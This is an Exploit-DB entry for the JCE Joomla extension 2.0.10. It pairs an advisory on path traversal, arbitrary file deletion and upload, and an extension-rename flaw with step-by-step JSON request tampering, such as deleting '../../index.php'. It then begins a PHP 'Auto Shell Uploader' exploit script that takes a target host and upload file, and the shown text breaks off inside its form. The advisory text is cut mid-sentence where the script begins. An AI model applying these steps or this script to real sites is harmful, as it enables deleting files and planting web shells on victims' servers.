Exploit-DB #17734
Description: Joomla! Component joomlacontenteditor 2.0.10 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-28
Author: AmnPardaz

Exploit:
########################## www.BugReport.ir 
#######################################
#
#            AmnPardaz Security Research Team
#
# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities
# Vendor: www.joomlacontenteditor.net
# Exploit: Available
# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager 
1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions 
also may be affected)
# Impact: High
# Original Advisory:    http://www.bugreport.ir/index_78.htm
# Fix: N/A
###################################################################################

####################
1. Description:
####################

     JCE is an extension for Joomla!, that provides you with a set of 
wysiwyg editor tools that makes the job of writing articles for your 
Joomla! site a little bit easier.
     In a nutshell, it provides access to many of the features you may 
be used to using in Word or OpenOffice etc.

####################
2. Vulnerabilities:
####################

     2.1. Path Traversal Flaws. Path Traversal in "Image Manager", 
"Media Manager", "Template Manager" and "File Manager" section.
         2.1.1. Exploit:
                         Check the exploit/POC section.

     2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager", 
"Media Manager", "Template Manager", "File Manager" section. Attackers 
can delete any file or upload files to all the directories of the server.
         2.2.1. Exploit:
                         Check the exploit/POC section.

     2.3. Unsafe function Flaws. Attackers can use unsafe function 
called "folderRename" for changing Image type extension (.jpg, .gif, 
.png & etc.) to any extension like .htaccess or .php in "Image Manager", 
"Media Manager", "Template Manager" and "File Manager" section.
         2.3.1. Exploit:
                         Check the exploit/POC section.

####################
3. Exploits/PoCs:
####################

Original Exploit URL: http://www.bugreport.ir/78/exploit.htm

     3.1. Path Traversal Flaws. Path Traversal in "Image Manager", 
"Media Manager", "Template Manager" and "File Manager" section.
         -------------
         Path Traversal and see all directories:
         Step 1 +--> Click on root (left bar)
         Step 2 +--> Use Proxy (like burp) for changing path:

                     json={"fn":"getItems","args":["/","all",0,""]}   
              to           
  json={"fn":"getItems","args":["../../","all",0,""]}

         -------------

     3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager", 
"Media Manager", "Template Manager", "File Manager" section. Attackers 
can delete any file or upload files to all the directories of the server.
         -------------
         For uploading file:
         Step 1 +--> Upload a file with image type extension like azizi.jpg
         Step 2 +--> Click on root (left bar)
         Step 3 +--> Use Proxy (like burp) and change "json" parameter 
to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]}

         Now azizi.jpg copied to root directory.


         For deleting file:
         Step 1 +--> Click on root (left bar)
         Step 2 +--> Use Proxy (like burp) and change "json" parameter 
to json={"fn":"fileDelete","args":"../../index.php"}

         Now index.php has been deleted.
         -------------

     3.3. Unsafe function Flaws. Attackers can use unsafe function for 
changing Image type extension (.jpg, .gif, .png & etc.) to any extension 
like .htaccess or .php in "Image Manager", "Media Manager", "Template 
Manager" and "File Manager" section.
         -------------
         For uploading file with executable extension:
         Step 1 +--> Upload a file with image type extension like azizi.jpg
         Step 2 +--> Click on root (left bar)
         Step 3 +--> Use Proxy (like burp) and change "json" p

<?php
######################################### www.bugreport.ir 
########################################
#
# AmnPardaz Security Research & Penetration Testing Group
#
#
# Title: Exploit for JCE Joomla Extension (Auto Shell 
Uploader) V0.1 - PHP Version
# Vendor: http://www.joomlacontenteditor.net
# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)
# Exploitation: Remote with browser
# Original Advisory: http://www.bugreport.ir/index_78.htm
# Vendor supplied patch: 
http://www.joomlacontenteditor.net/news/item/jce-2011-released
# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5
# Coded By: Mostafa Azizi
###################################################################################################

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html>
<head>
<title>JCE Joomla Extension Remote File Upload</title>
</head>

<body bgcolor="#00000">

<p align="center"><font size="4" color="#00ff00">JCE Joomla Extension 
Remote File Upload</font></p>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'" 
enctype="multipart/form-data" method="post">
<p></font><font color="#00ff00" > hostname 
(ex:www.sitename.com): </font><input name="host" size="20"> <span 
class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="#00ff00" > path (ex: /joomla/ or 
just / ): </font><input name="path" size="20"> <span 
class="Stile5"><font color="#FF0000">*</span></p>
<p></font><font color="#00ff00" >Please specify a file to upload: 
</font><input type="file" name="datafile" size="40"><font 
color="#FF0000"> * </font>
<p><font color="#00ff00" > specify a port (default is 80): 
</font><input name="port" size="20"><span 
class="Stile5"></span></p>
<p><font color="#00ff00" > Proxy (ip:port): 
</font><input name="proxy" size="20"><span 
class="Stile5"></span></p>
<p align="center"> <span class="Stile5"><fon